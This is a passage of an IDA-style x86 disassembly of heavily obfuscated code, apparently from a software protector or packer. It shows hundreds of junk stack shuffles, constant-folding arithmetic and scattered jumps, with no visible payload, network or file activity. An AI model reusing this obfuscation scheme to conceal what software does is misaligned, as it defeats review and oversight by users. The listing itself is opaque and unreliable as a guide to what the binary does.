; ---------------------------------------------------------------------------


loc_58F12F:				; CODE XREF: ud2_____:0058576Fj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5814D6
; ---------------------------------------------------------------------------


loc_58F13D:				; CODE XREF: ud2_____:00592CF9j
		add	ebp, 6FFB776Eh
		jmp	loc_58CC2E
; ---------------------------------------------------------------------------


loc_58F148:				; CODE XREF: ud2_____:00582955j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58ABC0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	614Eh
		jmp	loc_580B53
; ---------------------------------------------------------------------------


loc_58F181:				; CODE XREF: ud2_____:0057E7BDj
		pop	ebp
		jmp	loc_57E9A2
; ---------------------------------------------------------------------------


loc_58F187:				; CODE XREF: ud2_____:0058A0A9j
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2CDF2F40h
		dec	eax
		sub	eax, 0FFFFFFFFh
		shl	eax, 1
		shl	eax, 7
		push	esi
		mov	esi, 59B44A4Ah
		push	eax
		mov	eax, 61497941h
		sub	eax, 5F031526h
		jmp	loc_58B50D
; ---------------------------------------------------------------------------


loc_58F1C0:				; CODE XREF: ud2_____:00587D84j
		add	esp, 4
		jmp	loc_58FFF7
; ---------------------------------------------------------------------------


loc_58F1C8:				; CODE XREF: ud2_____:0058BB62j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	1A3Ch
		mov	[esp], edi
		jmp	loc_5912BE
; ---------------------------------------------------------------------------


loc_58F1DF:				; CODE XREF: ud2_____:0057ED63j
		pop	edx
		inc	ebx
		add	ebx, 0FFD4A1Ah
		jmp	loc_589AAB
; ---------------------------------------------------------------------------


loc_58F1EC:				; CODE XREF: ud2_____:0058F48Cj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_590D4C
; ---------------------------------------------------------------------------


loc_58F1FE:				; CODE XREF: ud2_____:00583686j
		mov	esi, esp
		push	eax
		mov	eax, 0DC5767Ch
		xor	eax, 0DC57678h
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	75B352Ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		dec	ecx
		jmp	loc_5926B2
; ---------------------------------------------------------------------------


loc_58F232:				; CODE XREF: ud2_____:00593000j
		push	edx
		jmp	loc_58792C
; ---------------------------------------------------------------------------


loc_58F238:				; CODE XREF: ud2_____:00583728j
		mov	esi, 4
		add	ebx, esi
		jmp	loc_58662B
; ---------------------------------------------------------------------------


loc_58F244:				; CODE XREF: ud2_____:00587EA4j
		push	esi
		push	0B9F0DD0h
		pop	esi
		jmp	loc_57FF8C
; ---------------------------------------------------------------------------


loc_58F250:				; CODE XREF: ud2_____:00591AB8j
		pop	ecx
		not	esi
		sub	esi, 2C6D0C73h
		dec	esi
		or	esi, 6320AD3h
		add	esi, 0B7FB04AFh
		sub	ecx, esi
		pop	esi
		sub	ecx, 383E2119h
		add	eax, 4152277Eh
		add	eax, ecx
		push	edi
		mov	edi, 4152277Eh
		sub	eax, edi
		pop	edi
		jmp	loc_5861DE
; ---------------------------------------------------------------------------


loc_58F284:				; CODE XREF: ud2_____:00590C9Aj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5828B3
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	2B59h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		push	ebx
		push	0EB57DB2h
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_581D00
; ---------------------------------------------------------------------------


loc_58F2B8:				; CODE XREF: ud2_____:00583B96j
		add	esp, 4
		jmp	loc_58D1B6
; ---------------------------------------------------------------------------


loc_58F2C3:				; CODE XREF: ud2_____:00592001j
		pop	ebx
		xor	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 22C80770h
		jmp	loc_57E7D1
; ---------------------------------------------------------------------------


loc_58F2D2:				; CODE XREF: ud2_____:00587367j
		sub	ecx, 4
		jmp	loc_57F476
; ---------------------------------------------------------------------------


loc_58F2DD:				; CODE XREF: ud2_____:0058BE29j
		mov	ah, 0C0h
		and	ch, ah
		jmp	loc_589C2B
; ---------------------------------------------------------------------------


loc_58F2E6:				; CODE XREF: ud2_____:00583BBCj
		push	5F5Eh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	3374h
		mov	[esp], ebx
		push	ecx
		jmp	loc_58F7E1
; ---------------------------------------------------------------------------


loc_58F30D:				; CODE XREF: ud2_____:0057F0D0j
		sub	[esp], esi
		pop	esi
		jmp	loc_5872E7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	0A3Bh
		mov	[esp], edi
		push	esp
		pop	edi
		push	55CEh
		mov	[esp], ecx
		push	ebx
		mov	ebx, 4D5C2AEEh
		push	eax
		mov	eax, 7F0065Ch
		jmp	loc_5870F6
; ---------------------------------------------------------------------------


loc_58F33D:				; CODE XREF: ud2_____:0057E6EDj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_580138
; ---------------------------------------------------------------------------


loc_58F348:				; CODE XREF: ud2_____:00580D04j
		add	esi, 46087835h
		shl	esi, 6
		and	esi, 69B34C5Eh
		sub	esi, 0E3A22528h
		jmp	loc_58AB33
; ---------------------------------------------------------------------------


loc_58F362:				; CODE XREF: ud2_____:005912B9j
		push	eax
		mov	ah, 2Dh
		sub	bl, ah
		jmp	loc_58AFBC
; ---------------------------------------------------------------------------


loc_58F36C:				; CODE XREF: ud2_____:00584CEBj
		mov	esi, 1A0218E3h
		mov	edx, esi
		pop	esi
		sub	eax, edx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 1F3D21FEh
		sub	eax, edx
		add	eax, 1F3D21FEh
		push	ebx
		jmp	loc_58BBDD
; ---------------------------------------------------------------------------


loc_58F392:				; CODE XREF: ud2_____:0058925Cj
		sub	edi, 4EDC8B7Ah
		jmp	loc_589E93
; ---------------------------------------------------------------------------


loc_58F39D:				; CODE XREF: ud2_____:00583DBDj
		pop	edi
		add	ebx, ecx
		pop	ecx
		sub	eax, ebx
		pop	ebx
		add	eax, edi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_58BDD6
; ---------------------------------------------------------------------------


loc_58F3BB:				; CODE XREF: ud2_____:00592154j
		mov	[esp], edi
		push	188h
		jmp	loc_58FD30
; ---------------------------------------------------------------------------


loc_58F3C8:				; CODE XREF: ud2_____:0058C77Aj
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		jmp	loc_57FC35
; ---------------------------------------------------------------------------


loc_58F3D5:				; CODE XREF: ud2_____:0058C8F5j
		pop	eax
		push	133h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_58D582
; ---------------------------------------------------------------------------


loc_58F3E8:				; CODE XREF: ud2_____:0059279Cj
		add	dh, 69h
		sub	dh, 0FFh
		push	ecx
		mov	ch, 6Eh
		xor	dh, ch
		mov	ecx, [esp]
		push	eax
		push	esp
		jmp	loc_58B4B9
; ---------------------------------------------------------------------------


loc_58F3FD:				; CODE XREF: ud2_____:005817ADj
		sub	eax, 1D804F49h
		jmp	loc_5868B9
; ---------------------------------------------------------------------------


loc_58F407:				; CODE XREF: ud2_____:005801CAj
		mov	ecx, edx
		pop	edx
		jmp	loc_58B1A4
; ---------------------------------------------------------------------------


loc_58F40F:				; CODE XREF: ud2_____:0057F789j
		mov	esi, [esp]
		jmp	loc_58E337
; ---------------------------------------------------------------------------


loc_58F417:				; CODE XREF: ud2_____:005925B5j
		pop	edx
		and	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 753F73B1h
		jmp	loc_57E4E5
; ---------------------------------------------------------------------------


loc_58F426:				; CODE XREF: ud2_____:0058B948j
		mov	ecx, 0C42346Eh
		mov	ebp, 6DD45EB9h
		push	ecx
		mov	ecx, 25F473B3h
		sub	ecx, 1
		sub	ecx, 1
		add	ecx, 4952B15Ah
		sub	ebp, ecx
		pop	ecx
		jmp	loc_58D97B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58EDA2
; ---------------------------------------------------------------------------


loc_58F456:				; CODE XREF: ud2_____:0059224Cj
		mov	dh, 13h
		jmp	loc_58AB8E
; ---------------------------------------------------------------------------


loc_58F45D:				; CODE XREF: ud2_____:0058879Cj
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_58AA20
; ---------------------------------------------------------------------------


loc_58F466:				; CODE XREF: ud2_____:0058FCC6j
		xchg	edx, [esp]
		jmp	loc_582B9B
; ---------------------------------------------------------------------------


loc_58F46E:				; CODE XREF: ud2_____:0058E9FAj
		sub	esi, 387F5B4Ch
		sub	esi, 34F74C34h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_58F1EC
; ---------------------------------------------------------------------------


loc_58F491:				; CODE XREF: ud2_____:0059010Dj
		mov	cl, 78h
		add	bl, cl
		jmp	loc_591883
; ---------------------------------------------------------------------------


loc_58F49A:				; CODE XREF: ud2_____:00582F88j
		push	edx
		mov	edx, 7E02573Ch
		neg	edx
		xor	edx, 32FD4A65h
		xor	edx, 60939484h
		jmp	loc_58EB6A
; ---------------------------------------------------------------------------


loc_58F4B3:				; CODE XREF: ud2_____:0058B0D1j
		add	esp, 4
		and	eax, ecx
		pop	ecx
		or	edx, eax
		shl	edx, 1
		push	364Bh
		jmp	loc_5909A9
; ---------------------------------------------------------------------------


loc_58F4CA:				; CODE XREF: ud2_____:00584D5Fj
		push	esi
		push	edx
		mov	edx, 58726411h
		mov	esi, 723F2CB9h
		xor	esi, edx
		pop	edx
		add	ebp, esi
		jmp	loc_585004
; ---------------------------------------------------------------------------


loc_58F4E0:				; CODE XREF: ud2_____:0058CF3Bj
		pop	edx
		add	ebx, edi
		sub	ebx, 0F3816EEh
		sub	ebx, 69E6D4Ah
		add	ebx, 686F7683h
		mov	eax, [ebx]
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 29B755C6h
		sub	ebp, 21237750h
		jmp	loc_59142E
; ---------------------------------------------------------------------------


loc_58F50E:				; CODE XREF: ud2_____:00589B6Bj
		and	ebx, 74325BC5h
		or	ebx, 7DEF1F43h
		inc	ebx
		xchg	ebp, ebx
		dec	ebp
		xchg	ebp, ebx
		sub	ebx, 2EEF2CAEh
		add	edx, 7CA81320h
		add	edx, ebx
		sub	edx, 7CA81320h
		jmp	loc_5926E6
; ---------------------------------------------------------------------------


loc_58F539:				; CODE XREF: ud2_____:00586B70j
		push	eax
		jmp	loc_581CA9
; ---------------------------------------------------------------------------


loc_58F53F:				; CODE XREF: ud2_____:0058172Ej
		mov	esp, [esp]
		jmp	loc_585F03
; ---------------------------------------------------------------------------


loc_58F547:				; CODE XREF: ud2_____:0058D4B8j
		movzx	eax, al
		jmp	loc_592F3F
; ---------------------------------------------------------------------------


loc_58F54F:				; CODE XREF: ud2_____:0057E771j
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58F55E:				; CODE XREF: ud2_____:0058E401j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58F57A:				; CODE XREF: ud2_____:0058F088j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_585400
; ---------------------------------------------------------------------------


loc_58F588:				; CODE XREF: ud2_____:0058E0B6j
		pop	ebp
		add	ebp, 87F8DF11h
		push	ecx
		mov	ecx, ebp
		jmp	loc_5881DC
; ---------------------------------------------------------------------------


loc_58F597:				; CODE XREF: ud2_____:00590BEFj
		dec	ebp
		inc	ebp
		dec	ebp
		dec	ebp
		not	ebp
		sub	ebp, 0A33950E3h
		jmp	loc_582903
; ---------------------------------------------------------------------------


loc_58F5A8:				; CODE XREF: ud2_____:00582737j
		pop	esi
		sub	edi, 1
		xor	edi, 1BEBA5BBh
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_592F38
; ---------------------------------------------------------------------------


loc_58F5C2:				; CODE XREF: ud2_____:00585F27j
		sub	eax, esi
		add	eax, 5DA642ABh
		pop	esi
		jmp	loc_58C1AE
; ---------------------------------------------------------------------------


loc_58F5CF:				; CODE XREF: ud2_____:005927EAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		jmp	loc_584FAB
; ---------------------------------------------------------------------------


loc_58F5E5:				; CODE XREF: ud2_____:00584A6Bj
		add	esp, 4
		add	esp, 4
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58F5F3:				; CODE XREF: ud2_____:005864DAj
		mov	[esp], ecx
		push	18C5h
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		jmp	loc_593024
; ---------------------------------------------------------------------------


loc_58F616:				; CODE XREF: ud2_____:00585CAAj
		add	edx, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		push	ebx
		mov	ebx, 2BD8418Ch
		or	ebx, 0B1463DAh
		neg	ebx
		shl	ebx, 2
		jmp	loc_58857C
; ---------------------------------------------------------------------------


loc_58F64D:				; CODE XREF: ud2_____:00586326j
		pop	esp
		shr	bh, 3
		xor	bh, 26h
		mov	cl, bh
		mov	ebx, [esp]
		push	ebx
		jmp	loc_587CC3
; ---------------------------------------------------------------------------


loc_58F65F:				; CODE XREF: ud2_____:0058D766j
		add	ecx, 6DB20015h
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		pop	eax
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_57E88F
; ---------------------------------------------------------------------------


loc_58F678:				; CODE XREF: ud2_____:00586915j
		push	esi
		jmp	loc_592FAD
; ---------------------------------------------------------------------------


loc_58F67E:				; CODE XREF: ud2_____:00584B08j
		mov	edx, [esp]
		push	eax
		jmp	loc_57E8C4
; ---------------------------------------------------------------------------


loc_58F687:				; CODE XREF: ud2_____:00591D44j
		mov	[esp], ecx
		jmp	loc_58630C
; ---------------------------------------------------------------------------


loc_58F68F:				; CODE XREF: ud2_____:0058E452j
		sub	esp, 4
		jmp	loc_581F76
; ---------------------------------------------------------------------------


loc_58F69A:				; CODE XREF: ud2_____:00589783j
		mov	[esp], eax
		mov	eax, ebp
		mov	esi, eax
		pop	eax
		pop	ebp
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	eax
		jmp	loc_584BE8
; ---------------------------------------------------------------------------


loc_58F6B1:				; CODE XREF: ud2_____:00585325j
		xchg	eax, esi
		dec	esi
		xchg	eax, esi
		jmp	loc_583151
; ---------------------------------------------------------------------------


loc_58F6B9:				; CODE XREF: ud2_____:0058CC1Dj
		or	ebp, esi
		jmp	loc_587B16
; ---------------------------------------------------------------------------


loc_58F6C0:				; CODE XREF: ud2_____:0058E70Dj
		push	562502E4h
		jmp	loc_58101C
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		mov	bh, 46h
		add	al, 39h
		jmp	loc_58029B
; ---------------------------------------------------------------------------


loc_58F6D5:				; CODE XREF: ud2_____:0058D8AAj
		pop	ecx
		sub	dl, 0FFh
		jmp	loc_587EE5
; ---------------------------------------------------------------------------


loc_58F6DE:				; CODE XREF: ud2_____:0058DB68j
		sub	eax, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_585750
; ---------------------------------------------------------------------------


loc_58F6F1:				; CODE XREF: ud2_____:00584087j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_581D5D
; ---------------------------------------------------------------------------


loc_58F6FD:				; CODE XREF: ud2_____:0058A37Fj
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	ah, 93h
		jmp	loc_580B15
; ---------------------------------------------------------------------------


loc_58F70F:				; CODE XREF: ud2_____:0057E44Cj
		mov	dh, 6Ch
		jmp	loc_580B02
; ---------------------------------------------------------------------------


loc_58F716:				; CODE XREF: ud2_____:0058A48Fj
		push	4
		pop	ebp
		add	edx, ebp
		push	dword ptr [esp]
		jmp	loc_590DA4
; ---------------------------------------------------------------------------


loc_58F726:				; CODE XREF: ud2_____:0058F119j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_590700
; ---------------------------------------------------------------------------


loc_58F72F:				; CODE XREF: ud2_____:0057ECD5j
		mov	esi, 4
		push	edi
		mov	edi, 5A3519D9h
		jmp	loc_584DAF
; ---------------------------------------------------------------------------


loc_58F73F:				; CODE XREF: ud2_____:0058AEF0j
		push	3170h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edx
		mov	edx, 77257777h
		dec	edx
		jmp	loc_5905C1
; ---------------------------------------------------------------------------


loc_58F75B:				; CODE XREF: ud2_____:0058A655j
		add	esp, 4
		pop	edi
		jmp	loc_580BA2
; ---------------------------------------------------------------------------


loc_58F767:				; CODE XREF: ud2_____:0058963Fj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebp, [esp]
		jmp	loc_5870A1
; ---------------------------------------------------------------------------


loc_58F77C:				; CODE XREF: ud2_____:00587A4Fj
		add	ebx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_593005
; ---------------------------------------------------------------------------


loc_58F79A:				; CODE XREF: ud2_____:0058932Ej
		mov	edx, 7D686461h
		and	ebp, edx
		pop	edx
		jmp	loc_57FA7C
; ---------------------------------------------------------------------------


loc_58F7A7:				; CODE XREF: ud2_____:0058479Ej
		mov	edx, 4F464550h
		push	ebp
		mov	ebp, 8B07333h
		add	edx, ebp
		pop	ebp
		add	edx, 9A8AC2Bh
		or	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 1
		add	ebp, ecx
		pop	ecx
		sub	ebp, 0FFFFFFFFh
		xchg	edi, ebp
		dec	edi
		xchg	edi, ebp
		shr	ebp, 1
		jmp	loc_586AE6
; ---------------------------------------------------------------------------


loc_58F7E1:				; CODE XREF: ud2_____:0058F308j
		mov	ecx, 50561224h
		mov	ebx, 0AFA9EDE0h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 79D91038h
		sub	esi, ebx
		sub	esi, 79D91038h
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_582DB1
; ---------------------------------------------------------------------------
		lodsb
		push	3CA7h
		mov	[esp], edx
		mov	dh, 0ECh
		push	ecx
		jmp	loc_592962
; ---------------------------------------------------------------------------


loc_58F81C:				; CODE XREF: ud2_____:0058A445j
		mov	bh, 0C5h
		xor	bh, dl
		mov	edx, [esp]
		add	esp, 4
		xor	al, bh
		mov	bx, [esp]
		jmp	loc_57F767
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58F83C:				; CODE XREF: ud2_____:00592ACFj
		add	ecx, 435C5C2Ch
		or	ecx, 3BDC4DC3h
		add	ecx, 0B72B3B9Fh
		jmp	loc_5894E3
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58D574
; ---------------------------------------------------------------------------


loc_58F85C:				; CODE XREF: ud2_____:0058217Bj
		add	edi, esi
		pop	esi
		push	edi
		jmp	loc_5890D7
; ---------------------------------------------------------------------------


loc_58F865:				; CODE XREF: ud2_____:005849FEj
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	ecx
		jmp	loc_58121D
; ---------------------------------------------------------------------------


loc_58F87C:				; CODE XREF: ud2_____:00585D9Fj
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		jmp	loc_58AD7C
; ---------------------------------------------------------------------------


loc_58F899:				; CODE XREF: ud2_____:0058ABF1j
		add	cl, 0B6h
		push	ax
		mov	al, 28h
		add	cl, al
		pop	ax
		and	dh, cl
		pop	ecx
		add	dh, 0F7h
		jmp	loc_580199
; ---------------------------------------------------------------------------


loc_58F8AF:				; CODE XREF: ud2_____:0058D5F4j
		inc	edx
		xor	edx, 0AB901C76h
		sub	ebp, edx
		pop	edx
		sub	ebp, eax
		jmp	loc_590F9B
; ---------------------------------------------------------------------------


loc_58F8C0:				; CODE XREF: ud2_____:0058A2F3j
		push	edx
		mov	dh, 72h
		sub	esp, 4
		jmp	loc_5803BA
; ---------------------------------------------------------------------------


loc_58F8CE:				; CODE XREF: ud2_____:005879D9j
		pop	edx
		jmp	loc_59220D
; ---------------------------------------------------------------------------


loc_58F8D4:				; CODE XREF: ud2_____:0058B067j
		push	ebx
		mov	bl, dl
		mov	al, bl
		pop	ebx
		mov	dl, bh
		pop	bx
		not	al
		xor	dl, al
		xor	al, dl
		xor	dl, al
		sub	esp, 2
		jmp	loc_58FDA6
; ---------------------------------------------------------------------------


loc_58F8F1:				; CODE XREF: ud2_____:00591B3Bj
		push	esi
		mov	esi, 76287D15h
		and	esi, 275D4C5Bh
		neg	esi
		not	esi
		push	ecx
		jmp	loc_585E40
; ---------------------------------------------------------------------------


loc_58F907:				; CODE XREF: ud2_____:00588019j
		push	ebx
		push	esi
		push	eax
		mov	eax, 60FC6866h
		mov	esi, 60FC6868h
		sub	esi, eax
		pop	eax
		mov	ebx, esi
		pop	esi
		add	ebp, 4F6725A3h
		jmp	loc_583407
; ---------------------------------------------------------------------------


loc_58F925:				; CODE XREF: ud2_____:0058E390j
		mov	[esp], ecx
		jmp	loc_58FADE
; ---------------------------------------------------------------------------


loc_58F92D:				; CODE XREF: ud2_____:00589B8Cj
		mov	esp, [esp]
		push	eax
		jmp	loc_5864B3
; ---------------------------------------------------------------------------


loc_58F936:				; CODE XREF: ud2_____:005805D9j
		mov	dl, 66h
		and	dl, 6Ah
		shr	dl, 5
		xor	dl, 9Fh
		and	dl, 96h
		xor	dl, 47h
		sub	dl, 3Fh
		mov	bh, dl
		pop	edx
		add	al, bh
		pop	ebx
		push	285Ch
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 7Ch
		inc	al
		push	ecx
		jmp	loc_589483
; ---------------------------------------------------------------------------


loc_58F968:				; CODE XREF: ud2_____:00590418j
		mov	esp, [esp]
		jmp	loc_58D58A
; ---------------------------------------------------------------------------


loc_58F970:				; CODE XREF: ud2_____:0058BF90j
		add	esp, 4
		add	esp, 4
		push	75B8h
		mov	[esp], esi
		push	1
		mov	esi, [esp]
		push	449h
		mov	[esp], edi
		push	esp
		pop	edi
		push	ecx
		jmp	loc_586E15
; ---------------------------------------------------------------------------


loc_58F999:				; CODE XREF: ud2_____:00587679j
		push	4570319Ah
		pop	edx
		xor	ecx, edx
		jmp	loc_588EA0
; ---------------------------------------------------------------------------


loc_58F9A6:				; CODE XREF: ud2_____:0057EB99j
		add	bl, 4Dh
		sub	esp, 2
		mov	[esp], ax
		push	ecx
		jmp	loc_590C5F
; ---------------------------------------------------------------------------


loc_58F9B6:				; CODE XREF: ud2_____:0058C7BDj
		sub	edi, edx
		push	eax
		mov	eax, 41A42C6Eh
		jmp	loc_58B49B
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	14E1h
		jmp	loc_58B18A
; ---------------------------------------------------------------------------


loc_58F9E7:				; CODE XREF: ud2_____:005887DAj
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 18h
		jmp	loc_583C40
; ---------------------------------------------------------------------------


loc_58F9F9:				; CODE XREF: ud2_____:00587C73j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[edx+30h], eax
		pop	eax
		jmp	loc_5918D5
; ---------------------------------------------------------------------------


loc_58FA12:				; CODE XREF: ud2_____:00587C1Bj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_584304
; ---------------------------------------------------------------------------


loc_58FA23:				; CODE XREF: ud2_____:0059183Bj
		mov	[esp], eax
		jmp	loc_584729
; ---------------------------------------------------------------------------


loc_58FA2B:				; CODE XREF: ud2_____:00589ABBj
		sub	eax, 54633019h
		jmp	loc_590123
; ---------------------------------------------------------------------------


loc_58FA35:				; CODE XREF: ud2_____:0058D585j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4BE11B5Ah
		mov	ebx, ecx
		jmp	loc_5876BC
; ---------------------------------------------------------------------------


loc_58FA47:				; CODE XREF: ud2_____:0058D3A5j
		shl	esi, 2
		dec	esi
		push	589Eh
		mov	[esp], ebp
		push	eax
		mov	eax, 7EA8420Fh
		mov	ebp, 0D26F7B54h
		sub	ebp, eax
		pop	eax
		jmp	loc_58FB15
; ---------------------------------------------------------------------------


loc_58FA66:				; CODE XREF: ud2_____:005806F0j
		mov	ah, 7Dh
		xor	cl, ah
		pop	eax
		jmp	loc_57EDD8
; ---------------------------------------------------------------------------


loc_58FA70:				; CODE XREF: ud2_____:00587967j
		add	ecx, ebx
		jmp	loc_58AF5E
; ---------------------------------------------------------------------------


loc_58FA77:				; CODE XREF: ud2_____:005915D7j
		push	eax
		mov	ah, dh
		mov	bh, ah
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		mov	al, bh
		pop	ebx
		add	cl, al
		mov	ax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		and	cl, 6Bh
		push	dx
		mov	dh, 72h
		xor	cl, dh
		mov	dx, [esp]
		jmp	loc_584884
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C483240Ch, 0DD685004h, 0E9000023h, 0FFFF8A50h
; ---------------------------------------------------------------------------


loc_58FAC8:				; CODE XREF: ud2_____:00585468j
		pop	esi
		jmp	loc_57ECCD
; ---------------------------------------------------------------------------


loc_58FACE:				; CODE XREF: ud2_____:00587FCFj
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_592C99
; ---------------------------------------------------------------------------


loc_58FADE:				; CODE XREF: ud2_____:0058F928j
		push	esp
		jmp	loc_592BE5
; ---------------------------------------------------------------------------


loc_58FAE4:				; CODE XREF: ud2_____:0059094Ej
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	3357h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_587FCA
; ---------------------------------------------------------------------------


loc_58FB0D:				; CODE XREF: ud2_____:0058FE9Fj
		add	eax, 4
		jmp	loc_584373
; ---------------------------------------------------------------------------


loc_58FB15:				; CODE XREF: ud2_____:0058FA61j
		sub	ebp, 77483E66h
		shl	ebp, 1
		dec	ebp
		dec	ebp
		jmp	loc_59258F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	0B7Ah
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_584792
; ---------------------------------------------------------------------------


loc_58FB37:				; CODE XREF: ud2_____:00592610j
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	4E9Fh
		mov	[esp], esi
		mov	esi, 28FF2C26h
		push	ecx
		mov	ecx, 2B823739h
		xor	esi, ecx
		pop	ecx
		xor	esi, 37D1B1Bh
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2
		add	ecx, ebp
		jmp	loc_59117A
; ---------------------------------------------------------------------------


loc_58FB6F:				; CODE XREF: ud2_____:0058D108j
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		sub	esi, 197B4C03h
		sub	esi, 4817381Fh
		neg	esi
		xor	esi, 0C982A3E0h
		add	eax, esi
		pop	esi
		push	16B8h
		mov	[esp], eax
		mov	eax, 7A617BAFh
		neg	eax
		jmp	loc_5854CA
; ---------------------------------------------------------------------------


loc_58FBA0:				; CODE XREF: ud2_____:005808F8j
		xchg	eax, [esp]
		jmp	loc_58A399
; ---------------------------------------------------------------------------


loc_58FBA8:				; CODE XREF: ud2_____:00591B88j
		add	ch, 0E4h
		add	ch, bh
		jmp	loc_58C696
; ---------------------------------------------------------------------------


loc_58FBB2:				; CODE XREF: ud2_____:0058BDD1j
		pop	esi
		jmp	loc_586B75
; ---------------------------------------------------------------------------


loc_58FBB8:				; CODE XREF: ud2_____:00581269j
		sub	edx, 0A9F3E32h
		add	edx, edi
		add	edx, 0A9F3E32h
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	6448h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
